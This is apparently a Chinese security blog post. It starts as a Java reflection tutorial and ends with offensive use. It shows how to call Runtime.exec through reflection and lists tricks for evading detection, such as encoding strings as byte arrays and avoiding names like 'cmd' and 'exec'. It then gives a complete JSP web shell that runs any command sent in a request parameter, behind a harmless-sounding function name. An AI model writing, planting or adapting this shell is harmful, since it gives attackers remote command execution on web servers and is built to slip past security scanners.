作者:SakuraUnique
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
0x00 前言
反射可以说是Java中最强大的技术了,它可以做的事情太多太多,很多优秀的开源框架都是通过反射完成的,比如最初的很多注解框架,后来因为java反射影响性能,所以被运行时注解APT替代了,java反射有个开源框架jOOR相信很多人都用过,不过我们还是要学习反射的基础语法,这样才能自己写出优秀的框架,当然这里所讲的反射技术,是学习Android插件化技术、Hook技术等必不可少的!
0x01 java反射(Reflection)是什么
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。
0x02 反射的好处
可以在程序运行过程中,操作这些对象;
可以降低程序的一些耦合性,提高程序的可扩展性。
0x03 Java反射机制的类都位于java.lang.reflect包中
Class类:代表一个类
Field类:代表类的成员变量(类的属性)
Method类:代表类的方法
Constructor类:代表类的构造方法
Array类:提供了动态创建数组,以及访问数组的元素的静态方法
0x04Java反射可以干什么
获取类对象
在反射中,要获取一个类或调用一个类的方法,我们首先需要获取到该类的 Class 对象。
在 Java API 中,获取 Class类对象有三种方法:
Person mPerson = new Person();
Class c1 = mPerson.getClass();//明确具体的类
Class c2 = Person.class;//编译前就知道操作的Class
Class c3 =Class.forName("com.wld.java.blogs.reflect.Person"); //知道该类的全路径名
获取类方法
getMethods() //获取所有public的方法,包括从父类以及接口继承的
getDeclaredMethods()//获取当前类的所有方法,包括私有的
getMethod("methodName",Class...class) //获取指定的方法
getDeclaredMethod("methodName",Class...class) //获取指定的方法
获取类成员变量
getFields() //获取所有public的属性,包括从父类以及接口继承的
getDeclaredFields()//获取当前类的所有属性,包括私有的
getField("fieldName")//获取指定的属性
getDeclaredField("fieldName")//获取指定的属性
获取构造方法
getConstructors()//获取当前类的所有public的构造函数,由于子类不能继承父类的构造函数,所以获取不到父类的构造函数
getDeclaredConstructors() //获取当前类的所有构造函数,包括私有的
getConstructor(Class... class) //获取指定的构造函数
getDeclaredConstructor(Class...class) //获取指定的构造函数
0x05 invoke
Object invoke(Objectobj, Object ... args)
Object对应原方法的返回值,若原方法无返回值,此时返回null
若原方法若为静态方法,此时形参Objectobj可为null
若原方法形参列表为空,则Object[]args为null
若原方法声明为private,则需要在调用此invoke()方法前,显式调用方法对象的setAccessible(true)方法,将可访问private的方法。
0x06 通过反射创建类对象
通过反射创建类对象主要有两种方式:
通过 Class 对象的 newInstance()方法、
通过 Constructor 对象的 newInstance()方法。
第一种:通过 Class 对象的 newInstance()方法。
Class clz = Apple.class;
Apple apple = (Apple)clz.newInstance();
第二种:通过 Constructor 对象的 newInstance() 方法
Class clz = Apple.class;
Constructor constructor =clz.getConstructor();
Apple apple =(Apple)constructor.newInstance();
通过 Constructor 对象创建类对象可以选择特定构造方法,而通过Class 对象则只能使用默认的无参数构造方法。下面的代码就调用了一个有参数的构造方法进行了类对象的初始化。
Class clz = Apple.class;
Constructor constructor =clz.getConstructor(String.class, int.class);
Apple apple = (Apple)constructor.newInstance("红富士", 15);
0x07利用反射机制调用Runtime类exec方法执行系统命令代码
String op = "";
Class rt =Class.forName("java.lang.Runtime");
Method gr =rt.getMethod("getRuntime");
Method ex = rt.getMethod("exec",String.class);
Process e = (Process) ex.invoke(gr.invoke(null,new Object[]{
}), "cmd /c pingwww.baidu.com");
Scanner sc = newScanner(e.getInputStream()).useDelimiter("\\A");
op = sc.hasNext() ? sc.next() : op;
sc.close();
System.out.print(op);
0x08如何绕过检测
1. 避免出现敏感变量名
如"cmd"、"system "、"exec"、"shell"、"execute"、" spy "、"command"等等
2. 字符串拆解重组
将"cmd"、"/c"和"/bin/bash"、"-c"等都做了处理,由字节转为字符串
3. 使用Scanner接收回显
接收命令回显数据时,避免使用BufferedReader等常见手段
4. 用fileSeparator来判断操作系统类型
一般使用System.getProperty/getProperties获取操作系统的类型,这里使用路径分隔符简单判断,然后再选用"cmd /c"或者"/bin/bash -c"来执行命令
0x09能够绕过检测的执行系统命令代码(附上详细注释)
<%--jsp标签
<%@ %> 页面指令,设定页面属性和特征信息
<% %> java代码片段,不能在此声明方法
<%! %> java代码声明,声明全局变量或当前页面的方法
<%= %> Java表达式
ProcessBuilder.start() 和 Runtime.exec() 方法都被用来创建一个操作系统进程(执行命令行操作),并返回 Process 子类的一个实例,该实例可用来控制进程状态并获得相关信息。
ProcessBuilder.start() 和 Runtime.exec()传递的参数有所不同,Runtime.exec()可接受一个单独的字符串,这个字符串是通过空格来分隔可执行命令程序和参数的;也可以接受字符串数组参数。而ProcessBuilder的构造函数是一个字符串列表或者数组。列表中第一个参数是可执行命令程序,其他的是命令行执行是需要的参数。
--%>
<%@ page import="java.util.Scanner" pageEncoding="UTF-8" %>
<HTML>
<title>Just For Fun</title>
<BODY>
<H3>Build By LandGrey</H3>
<FORM METHOD=POST ACTION='#'>
<INPUT name='q' type=text>
<INPUT type=submit value='Fly'>
</FORM>
<%!
public static String getPicture(String str) throws Exception{
String fileSeparator = String.valueOf(java.io.File.separatorChar);////file.separator这个代表系统目录中的间隔符,说白了就是斜线
if(fileSeparator.equals("\\")){
str = new String(new byte[] {
99, 109, 100, 46, 101, 120, 101, 32, 47, 67, 32}) + str;
////new byte[]以字节数组构造字符串对象
//new byte[] {
99, 109, 100, 46, 101, 120, 101, 32, 47, 67, 32}------cmd.exe /C
}else{
str = new String(new byte[] {
47, 98, 105, 110, 47, 98, 97, 115, 104, 32, 45, 99, 32}) + str;
//byte[] {
47, 98, 105, 110, 47, 98, 97, 115, 104, 32, 45, 99, 32}-----------/bin/bash -c
}
Class rt = Class.forName(new String(new byte[] {
106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
//byte[] {
106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }------java.lang.Runtime
Process e = (Process) rt.getMethod(new String(new byte[] {
101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] {
103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null, new Object[]{
}), new Object[] {
str });
//byte[] {
101, 120, 101, 99 }---------exec
//byte[] {
103, 101, 116, 82, 117, 110, 116, 105, 109, 101 }----------getRuntime
//使用Scanner接收回显
//useDelimiter-->\\A作为输入的分隔符
//scanner的分隔符,默认是空格,\\A为正则表达式,表示从字符头开始,这条语句的整体意思就是读取所有输入,包括回车换行符。\A是从字符串开头进行匹配,\Z是从字符串结尾进行匹配
Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\\A");
String result = "";
////hasNext()和Next()效果其实是一样的,系统都会等待输入下一个字符,只是返回值不同,hasNext()会返回true,next()返回输入的字符
result = sc.hasNext() ? sc.next() : result;
sc.close();
return result;
}
%>
<%
String name ="Input Nothing";
String query = request.getParameter("q");
if(query != null) {
name = getPicture(query);
}
%>
<pre>
<%= name %>
</pre>
</BODY>
</HTML>
参考:
https://www.iteye.com/blog/desert3-1596020
https://xz.aliyun.com/t/2342#toc-4
喜欢点个再看吧,阿巴阿巴阿巴~~~~~~~~~~~
0x10 了解更多安全知识
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!